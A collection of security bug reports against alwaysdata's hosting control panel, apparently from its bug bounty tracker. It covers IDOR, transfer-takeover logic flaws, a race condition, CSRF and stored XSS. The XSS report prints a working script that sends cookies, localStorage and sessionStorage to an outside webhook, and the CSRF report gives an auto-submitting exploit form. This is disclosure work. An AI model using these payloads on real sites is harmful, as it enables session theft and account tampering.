All Projects

Vulnerability Information:

Name of Vulnerability:
`/transfer/<id>/confirm/` performs no object-level authorization, allowing any authenticated customer to read account transfer records created for other customers by walking the global sequential ID space.

The endpoint exposes the transferred account's name, product tier, and email address of the person receiving the transfer, while the sibling `/transfer/<id>/accept/` and `/transfer/<id>/cancel/` views correctly scope the same object.

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is the same class as  FS#423  (IDOR to registrant dossiers) and  FS#203  (account data exposed through insufficient authorization), both of which you fixed.

CVSS 3.1: 6.5 Medium
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

I score this based on the demonstrated primitive only: read access, one record per request, and no write capability.

The issue exposes third-party personal data, including email addresses, and therefore falls within the "accessing customers' data" impact category.

This report is unrelated to my two reports concerning `/reseller/domain/`. It is a different application and a different authorization defect.

Description:

Account ownership transfers, referred to as "cession", are represented by objects with a single global sequential ID rather than per-customer numbering.

The three views that operate on a transfer are:

```
/transfer/<id>/accept/

  Correctly scoped
  404 for a transfer the authenticated customer is not party to

/transfer/<id>/cancel/

  Correctly scoped
  404 for a transfer the authenticated customer is not party to

/transfer/<id>/confirm/

  NOT scoped
  200 for every existing transfer ID

```

The missing authorization check on `/confirm/` is the entire defect.

The existing codebase provides the control that demonstrates this clearly. Using the same user, in the same session, against the same transfer ID, `/accept/` and `/cancel/` refuse access while `/confirm/` serves the object.

The confirmation page renders:

```
"The transfer of the account <ACCOUNT NAME> is currently being accepted by <EMAIL ADDRESS>."
```

The product tier is also present in the page heading, for example:

```
"Transfer of a Private cloud account"
```

Because the transfer ID space is a single global counter, an attacker does not need to guess individual identifiers. They can enumerate them sequentially.

I swept a contiguous window of 68 IDs and 64 returned HTTP 200. Additional spot checks at IDs 800, 1400, 2000, 3000, 4500, and 4900 also returned HTTP 200.

This demonstrates that the vulnerable endpoint covers historical transfer records rather than only a recent slice.

Transfer ID 2000 predates every account I own, which rules out any permission relationship between my own accounts as an explanation.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A tenant's own SSH shell cannot enumerate another customer's ownership-transfer history.

This is control-plane state. The record couples a business or project account with the email address of the individual receiving ownership of it, identifying which party in a private commercial handover ultimately received the asset.

Nothing in a customer's own environment exposes this information.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/transfer/<id>/confirm/

POST https://admin.alwaysdata.com/transfer/<id>/confirm/
```

The POST is also read-only in the observed behavior and does not mutate the transfer.

`<id>` can be any existing transfer ID.

The endpoint is reachable by any authenticated customer.

No permission grant, reseller role, or paid plan is required.

Steps to Reproduce:

Total cost: EUR 0.

I used a customer login with no relationship to the affected transfers.

All times are UTC, 2026-09-23.

1. Log in as an ordinary customer.

I used the login listed in the private annex. It owns exactly one account:

```
zzr1sticky0921
```

Its "Granted permissions" list is empty.

2. Request:

 GET /transfer/2000/confirm/

The endpoint returns HTTP 200 with a 149,638-byte response.

The body identifies a third-party account and the email address of the person accepting its transfer.

I read three transfer records in full. Their identifying values are listed in the private annex rather than in this report because tasks on this tracker are published and the values belong to your customers.

3. THE CONTROL THAT PROVES THE CHECK IS MISSING

Using the same session, the same IDs, and the same minute, two of the three sibling views refuse the exact object that `/confirm/` serves.

See the Proof of Concept for the response matrix.

4. FURTHER CONTROLS

a) A 200 response genuinely means that the record exists, making the endpoint an existence oracle:

```
/transfer/99999999/confirm/

  404

/transfer/-1/confirm/

  404

/transfer/0/confirm/

  404

```

b) Authentication is required, so this is not an unauthenticated leak:

```
Anonymous GET /transfer/2000/confirm/
```

returns:

```
302 to /login/?next=/transfer/2000/confirm/
```

c) I reproduced the issue from a second, unrelated customer login, confirming that it is not an artifact of a single account.

d) No other transfer sub-route I tested was open.

I swept 24 sub-routes including:

```
accept
cancel
decline
refuse
reject
delete
detail
edit
update
resend
renew
validate
complete
finish
abort
status
retry
approve
deny
transfer
the bare ID route
```

Every tested route returned 404 at exactly 179 bytes, identical to the response for a nonexistent ID.

Only `/confirm/` was readable cross-customer.

I include this control to make the blast radius precise: this is a disclosure issue, not a demonstrated takeover path.

5. RE-VERIFIED

I re-verified the issue at 05:45:11Z UTC from a newly established session, logged in from scratch specifically for this check.

No part of the evidence therefore depends on a session used for another test.

Proof of Concept:

All output below is verbatim. Customer-identifying values are replaced with placeholders and provided in the private annex.

Sibling view matrix, same session, same IDs, same minute:

```
ID /confirm/ /accept/ /cancel/
2000 200 (149,638 B) 404 (179 B) 404 (179 B)
4500 200 (149,636 B) 404 (179 B) 404 (179 B)
5030 200 (149,632 B) 404 (179 B) 404 (179 B)
```

Nonexistent and negative ID controls on the SAME view:

```
/transfer/99999999/confirm/ 404
/transfer/-1/confirm/ 404
/transfer/0/confirm/ 404
```

Unauthenticated control:

```
anonymous GET /transfer/2000/confirm/

  302 to /login/?next=/transfer/2000/confirm/

```

Shape of the disclosed response body, with the two sensitive values replaced:

```
Home > Transfers > Transfer of a Private cloud account

"The transfer of the account <ACCOUNT-X> is currently being accepted by <EMAIL-X>.
This only concerns the ownership of the account. If you also want the contents
to be migrated to another server, please …"
```

Extent of the ID space:

```
IDs 4995 to 5062

  64 of 68 returned HTTP 200

```

Spot checks returning HTTP 200:

```
800
1400
2000
3000
4500
4900
```

Transfer ID 2000 predates every account I own.

Impact:

Any person with a free Alwaysdata account can enumerate the global history of account ownership transfers on the platform.

For each transfer, the endpoint exposes:

```
Account name
Product tier
Email address of the receiving party
```

Concretely:

Commercial and personal relationship disclosure.

The endpoint links a named hosting account, and therefore potentially a business or project, to the personal email address of the individual receiving control of it.

For customers who are individuals or sole traders, this directly exposes personal information to any authenticated customer.

Commercially sensitive transfer events.

An account transfer can represent a business handover, a freelancer transferring client infrastructure, or another private ownership change.

The existence, timing, account identity, and receiving party of the transfer are disclosed.

Phishing and social-engineering targeting.

An attacker can obtain the exact account name and product tier associated with a genuine transfer and address the recipient using the email address exposed by the endpoint.

This provides a substantially more specific pretext than generic phishing.

Platform-wide transfer enumeration.

The existence oracle also provides information about historical transfer activity across the platform.

Recommendation:

1. Apply to `/transfer/<id>/confirm/` the same queryset scoping already used by `/transfer/<id>/accept/` and `/transfer/<id>/cancel/`.

Those two views provide the correct reference implementation.

The missing object-level authorization check appears to be the direct defect.

2. Confirm that the scoping predicate covers both parties to the transfer.

Specifically, verify that access is restricted to the transfer sender or the named recipient, and that this predicate is applied consistently to both GET and POST handling.

`/confirm/` currently responds to GET requests without the required object-level scope.

3. As defense in depth, apply the same principle used for the reseller views.

The transfer views should not default to a global queryset when the customer-specific filter is omitted.

A shared base view or authorization mechanism that requires object scoping would prevent another sibling view from accidentally exposing the same global dataset.

4. Optional and secondary: consider whether the confirmation page needs to display the recipient's full email address before acceptance.

A masked form may reduce unnecessary personal-data exposure even after the authorization issue is fixed.

DISCLOSURE AND CLEANUP:

I read three transfer records in full, plus one earlier record during discovery.

For the remaining enumeration, I recorded only HTTP status codes and response sizes.

Nothing was created, modified, accepted, cancelled, or deleted.

`/confirm/` is read-only based on the observed behavior.

I have not retained the personal data beyond the private annex submitted alongside this report, and I will destroy that annex upon your confirmation.

Customer-identifying values have deliberately been omitted from this published task because they belong to your customers.

Test window:

```
2026-09-23 04:40Z to 05:45Z UTC
```

Description

The business model of alwaysdata relies on restricting features based on the subscription type, where certain privileges (such as creating websites and using additional resources) are granted only to accounts with paid plans.

I was able to bypass this system by exploiting a logical flaw in the Subscription Rename mechanism and the lack of synchronization between the Mailbox state and plan validation. This resulted in obtaining all paid features using a Free account without any payment.

The issue is not UI-based, but a server-side business logic flaw.

Steps to Reproduce

1. Create a new subscription with the Free plan.

2. Using an API Token, execute a request via curl to retrieve the subscription details and confirm that the plan is Free.

3. Go to the Mailbox section and identify the email associated with the subscription (e.g.,
test@alwaysdata.net).

4. Open Burp Suite, intercept the Save request for the mailbox settings, and send it to Repeater.

5. Rename the subscription.

6. Immediately after renaming, send the previously saved request from Repeater.

7. Observe that:

The subscription name changes successfully.

However, the Mailbox remains associated with the old name (test).

8. Create a new subscription using the same old name (test).

9. Observe that the new subscription obtains:

The ability to create websites (not allowed on the Free plan).

Full paid features.

No payment method required.

No effective restrictions applied.

10. When checking the subscription via the API, it shows:

"product": null
"period": null

This indicates that the account has no enforced restrictions while effectively enjoying full paid features.

11. The issue was tested on multiple accounts and remained functional for more than a week without any payment request.

POC: https://admin.alwaysdata.com/support/92155/

Impact

Obtaining paid features without payment.

Potential unlimited abuse of paid infrastructure.

Description

There is a flaw in permission management within Alwaysdata’s Mailing system that allows the Owner role to remain associated with an old user identity even after the email address is modified, the user is deleted, and the domain is transferred to another account. This results in an attacker being able to retain full control over a Mailing instance linked to a domain that is now owned by the victim.

—

Steps to Reproduce

1. The attacker creates an Alwaysdata account (Account A).

2. Creates a Domain within the account and then creates a Mailing associated with this domain.

3. Creates an email user such as: a@example.com.

4. From the Mailing settings, grants the user a@example.com the Owner role.

5. From user management, modifies the email from a@example.com to b@example.com by intercepting the request (Burp) and sending the modified request.

6. After the modification succeeds, deletes the user b@example.com.

7. Transfers the domain to the victim’s account (Account B).

8. The victim receives the domain with an existing Mailing.

9. The attacker is able to access the Mailing management interface using the old identity a@example.com and still has the Owner role.

POC: https://admin.alwaysdata.com/support/91899/

Impact

Full control of a Mailing that belongs to a domain the attacker does not own.

Full unauthorized access.

Compromise of the victim’s data confidentiality and integrity.

—

Suggested Fix

Add additional validation to prevent any Owners from existing outside the current domain owner’s account.

Description

There is a logical flaw in the domain transfer system within the AlwaysData platform. Creating a Mailing List and then creating a User with Administrator privileges within the domain before sending a transfer invitation causes the transfer invitation to remain pending even after it has been accepted and the domain has actually been transferred.

This flaw allows the attacker account (B) to retain an active transfer invitation that can be used later to take over the domain from any other account that received the domain (victim C).
Consequently, the attacker can regain full control of the domain even though they are no longer the owner, resulting in complete control over:

Email accounts

Mailing Lists

DNS settings

Users and permissions

Any data created by the victim

This represents a critical flaw in ownership control.

—

Steps to Reproduce

1. Setup (Account A)

1. Create a new Domain in your account A.

2. Within the domain:

Create a Mailing List.

Create a User and grant Administrator privileges.
(This step is the primary cause of the flaw.)

3. After that, send a domain transfer invitation to your second account B.

—

2. First Transfer (A → B)

4. From account B:

Accept the transfer invitation.

5. The domain is transferred to B normally,
but the original invitation remains pending in account B despite the transfer being accepted.

—

3. Second Transfer (B → C “Victim”)

6. From account B (which still holds the pending invitation):

Send a transfer invitation to the victim account C.

7. From the victim account C:

Accept the invitation.

8. The victim starts using the domain normally (emails, mailing lists, DNS settings…).

—

4. Final Takeover (from Account B)

9. Return to account B.

You will find that the old transfer invitation is still pending acceptance.

10. Accept the pending invitation.

11. The domain fully returns to account B with all victim data and content, without any notification or additional permission.

POC: https://admin.alwaysdata.com/support/90473/

—

Impact

Full domain takeover.

Access to all existing email accounts.

Control over victim’s email-related accounts and mailing lists.

Full unauthorized access.

Highly critical (Critical).

Proposed Classification:

Severity: Critical – P1

Vulnerability Type: Logic Flaw + Broken Access Control

—

Suggested Fixes

1. Automatically cancel any pending transfer invitations once the domain transfer is accepted.

2. Enforce a single active transfer state, preventing more than one pending invitation for the same domain at a time.

Hello Team,

Summary:
There exists a Race Condition in which the subscription are added multiple times which will make them unremovable. As you know, same subscription is not added in admin.alwaysdata.com, but through race condition same subscription can be added multiple time and admin can't remove that in which another user are created them.

Steps To Reproduce:

1. Go to https://admin.alwaysdata.com/transfer/add/?type=account.
2. Fill the form which have new owner(for e.g: example@gmail.com) and click on validate it.
3. Go to admin.alwaysdata.com and login your account example@gmail.com. 4. Then go to https://admin.alwaysdata.com/transfer/ and accept the transfer request and intercept the request on Burpsuite.

5.Make 10 to 15 request and group them to send it from repeater.
6. You can see that any subscription are added and if want to delete them you can't.

Impact
Irremovable/permanent subscription. Even the admin cannot remove that subscription in which another user created it in that account.

Thank You,

Waleed Anwar

Description

There is a design flaw in the domain and mailbox management logic within a user account on AlwaysData.
A user who owns multiple subscriptions within the same account can create a mailbox in one subscription using a domain that belongs to another subscription within the same account, without strict verification of domain ownership.

As a result, mailboxes become associated with the domain object itself rather than with the subscription that created them.
When subscriptions or domains are later transferred to other users, mailboxes and their stored emails are automatically re-associated based on domain ownership, enabling serious exploitation scenarios.

—

Scenario 1 — Create a mailbox then transfer the subscription that owns the domain

1. The attacker’s AlwaysData account contains two subscriptions:

Subscription A: with a different domain.

Subscription B: contains the domain victim-domain.com.

2. From within Subscription A, the attacker creates a new mailbox using the domain from Subscription B (for example admin@victim-domain.com).

3. The attacker then transfers Subscription B (which contains the domain) to another user.

4. The mailbox the attacker created remains active and operates under the domain now owned by the new user.

Result:
The attacker retains an active mailbox under a domain that now belongs to another user, allowing them to receive/send emails as that domain — enabling impersonation or disclosure of sensitive communications.

—

Scenario 2 — Create a mailbox, transfer the subscription that contains the mailbox, then later transfer the domain

1. The attacker creates a mailbox in Subscription A using the domain in Subscription B.

2. The attacker transfers Subscription A (which contains the mailbox) to another user. The new user sees the mailbox ready and uses it.

3. Later, the attacker transfers the domain from Subscription B to a new subscription controlled by the attacker.

4. Because the system links mailboxes to the domain, when the domain is moved the mailboxes and all their contents are transferred to the attacker.

Result:
The attacker gains access to all past and future emails of the mailbox used by the new user, constituting a full privacy breach.

POC: https://admin.alwaysdata.com/support/89714/

—

Impact

Unauthorized access to private messages.

Identity impersonation via email addresses tied to the victim domain.

—

Fix Recommendation

Prevent selecting domains from other subscriptions within the same account when creating a mailbox.

Summary:
When transferring a domain from one Alwaysdata account to another, the associated Mailman mailing lists are not migrated or revoked. The original account retains ownership of these lists and can continue to receive or send emails on behalf of the transferred domain.

Steps to Reproduce:

1. In Account A, add a custom domain (e.g. example.com).

2. Create a Mailman mailing list such as team@example.com.

3. Verify the list is active and receives emails.

4. Transfer the domain example.com to Account B via the official domain transfer process.

5. Observe that the mailing list team@example.com still exists under Account A and can receive/send emails, despite the domain no longer being owned by this account.

POC: https://admin.alwaysdata.com/support/89434/

Impact:

The previous account holder retains unauthorized control over mailing lists linked to a domain they no longer own.

This may allow:

Unauthorized reception of emails intended for the new domain owner.

Sending spoofed emails from the domain.

Potential data leakage of private or sensitive communications.

Severity: High (P2) — because it breaks domain ownership boundaries and enables unauthorized email control.

Recommendation:

When a domain is transferred:

Either migrate all associated mailing lists to the new owner (with consent),

Or revoke and disable them in the old account immediately, ensuring the previous account cannot continue using them.

Hi Team,

Description:
I have found that there is a feature to create a duplicate of a database, and during that process, there is an option to choose a recipient. This endpoint lacks proper access control. If an attacker inputs the recipient ID of another organization's database user, it discloses their name.

Additionally, the recipient ID is sequential, numerical, and easily enumerable — making it guessable.

Steps to Reproduce:
1. Log in to Organization A and attempt to create a duplicate of a database. Choose recipient and from this endpoint :

<code> https://admin.alwaysdata.com/database/duplicate/@@/?_field_account=@@ </code>
 and copy the `field_account` parameter.

2. Now, log in to Organization B. Try to create a duplicate database, and when choosing the recipient, capture request using burp suite and from this endpoint

 https://admin.alwaysdata.com/database/duplicate/@@/?_field_account=@@ 

replace the `field_account` parameter with the one copied from Organization A.

You will see that the user details of Organization A are disclosed.

POC Video:
https://drive.google.com/file/d/1u2qZ7wC8nNquBNFJ4kwWoU-oZsXzI-go/view?usp=sharing

Regards,
Ranjet

Hello Team, Vulnerability: CSRF to Change DKIM Key Pair of Victim

Description: I have found that the DKIM key pair regeneration feature lacks proper csrf protection. As a result, if a victim visits an attacker-controlled site, the attacker can regenerate a new DKIM key pair for the victim's domain. This will effectively change the victim’s existing DKIM key.
Steps to Reproduce: NOTE: After adding a domain, the domain ID is assigned in a predictable numeric sequence. I am assuming that the attacker knows the victim's domain ID.

1. Log into your account and save the following code as `1.html`. Replace the domain ID in the script with the victim's domain ID and open the file in your browser.

<html>
  <body>
    <form action="https://admin.alwaysdata.com/domain/117551/dkim/generate/">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

2. You will notice that a new DKIM key pair has been generated for the victim’s domain without their consent.

POC Video:
https://drive.google.com/file/d/1LXBYjEXpdIr79f1flq14fSiP3HdETRe-/view?usp=sharing

Regards,
Ranjeet

From:
Raden Adhiyaksa Indiharto
Security Researcher
Email: radenadhiyaksa89@gmail.com

To:
IT Team, Alwaysdata
https://alwaysdata.com

My name is Raden Adhiyaksa Indiharto, an independent security researcher. I have discovered a Stored Blind Cross-Site Scripting (XSS) vulnerability on the subdomain mailman.alwaysdata.com within the Hyperkitty application.

This vulnerability allows an attacker to inject malicious JavaScript code that is stored and later executed in the browsers of other users or administrators when accessing a specific page.

Vulnerability Details Type of Vulnerability: Stored Blind Cross-Site Scripting (XSS)

Vulnerable Parameter: ?page=

Affected URL:

https://mailman.alwaysdata.com/hyperkitty/?page=%3Cscript%20src%3D%22https%3A%2F%2Fradenadhiyaksa.github.io%2Fbxss-stealth%2Fstealth.js%22%3E%3C%2Fscript%3E&sort=active

Payload (URL Encoded):

<script src="https://radenadhiyaksa.github.io/bxss-stealth/stealth.js"></script>

Impact

• The payload is stored and rendered within the page, executed silently when the vulnerable URL is loaded by other users (admin/user).
• This may allow attackers to steal cookies, hijack sessions, or gather sensitive information stealthily.

Proof of Concept (PoC) I created an external JavaScript file that collects user environment data and sends it to a webhook I control. This demonstrates successful execution of the injected script on the victim’s browser:
stealth.js script:

(function () {
  const data = {
    cookie: document.cookie,
    location: location.href,
    referrer: document.referrer,
    userAgent: navigator.userAgent,
    platform: navigator.platform,
    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    screen: {
      width: screen.width,
      height: screen.height
    },
    localStorage: JSON.stringify(localStorage),
    sessionStorage: JSON.stringify(sessionStorage),
    html: document.documentElement?.outerHTML?.slice(0, 1000),
    ts: new Date().toISOString(),
    id: Math.random().toString(36).substring(2)
  };

  // Kirim via fetch (utama)
  fetch("https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(data)
  }).catch(() => {
    // Fallback jika fetch gagal
    new Image().src = `https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net/?id=${data.id}&url=${encodeURIComponent(location.href)}&ref=${encodeURIComponent(document.referrer)}`;
  });
})();

This script is executed automatically when the vulnerable page is loaded, confirming the presence of stored XSS.

Recommendations

• Sanitize and escape user input in all parameters, especially the page parameter, before rendering them in HTML.
• Implement strict input validation and whitelist allowed characters.
• Use secure templating engines or frameworks that automatically handle escaping to prevent XSS.
• Consider enforcing a strong Content Security Policy (CSP) to restrict script sources.

I hope this report assists in enhancing the security of your platform. Please feel free to contact me if you require any further information or assistance in verifying and fixing this vulnerability.

Thank you for your attention and commitment to security.

Sincerely,
Raden Adhiyaksa Indiharto
Security Researcher
email: radenadhiyaksa89@gmail.com GitHub: https://github.com/radenadhiyaksa

Additional Note: Please let me know if you would like me to proceed with further exploitation and testing to better assess the impact of this vulnerability, or if you prefer to handle the remediation from this point onwards.

Link Video and Picture Proof of Concept [https://drive.google.com/drive/folders/1YcUBTOL5SmuPJ7QkdGXbj3YN3L-v7WHL?usp=sharing]

On-click Delete any invitation in [admin.alwaysdata.com]

*Summary:*
The [Create My Own Site] web application system is vulnerable to a click grabbing attack that allows an attacker to trick the user into deleting invitations that they have sent or received without their knowledge.

*Reproduction steps:*
1. Send an invitation to another user.
2. Receive an invitation and try it on the other account.
3. Get the direct link to the invitation and add the /cancel/ command to the URL.
4. Create an HTML proof-of-concept file with the following content:

Programming Language

<a href="https://admin.alwaysdata.com/transfer/Invitation_Number/cancel/----">Click</a>

5. Host this HTML page or send it via link to the victim.
6. Once the victim clicks on the masked link, the invitation is deleted without their explicit consent or knowledge.

An attacker could use their location and attach an HTML file instead of sending a file that the user clicks.

I have sent a proof of concept:
https://admin.alwaysdata.com/support/77431/374245-bandicam%202024-07-14%2007-00-17-624.mp4

*Impact:*
The exploit allows the deletion of any invitation that the user has sent or reached another user without his consent.

*Vulnerability Summary: Unauthorized Account Takeover via Invitation Exploitation in [admin.alwaysdata.com] Vulnerability Description: A critical security vulnerability was identified in the account invitation process of [Service that allows the user to create a site]. This vulnerability allowed an unauthorized user to gain administrative control over another user's account through the invitation feature. Below is a detailed timeline of events leading to the account takeover: 1. Account Creation: - A user (referred to as User A) created an account on [Service that allows the user to create a site]. 2. Incorrect Invitation: - User A intended to invite a member to become an administrator but mistakenly sent the invitation to another user (User B). 3. Invitation Deletion: - Realizing the mistake, User A promptly deleted the invitation intended for User B. 4. Correct Invitation: - User A subsequently invited their colleague (referred to as User C) to become an administrator of their account. 5. Acceptance by Colleague: - User C accepted the invitation, assuming administrative rights as intended by User A. 6. Unauthorized Acceptance: - Meanwhile, User B, who received the initial invitation in error, noticed the invitation and, potentially unaware of the implications, accepted it. 7. Account Takeover:**

1. By accepting the invitation, User B gained administrative access to User A's account, effectively taking ownership of the account.

I've sent a proof of concept: [REDACTED]

Impact:
Account Takeover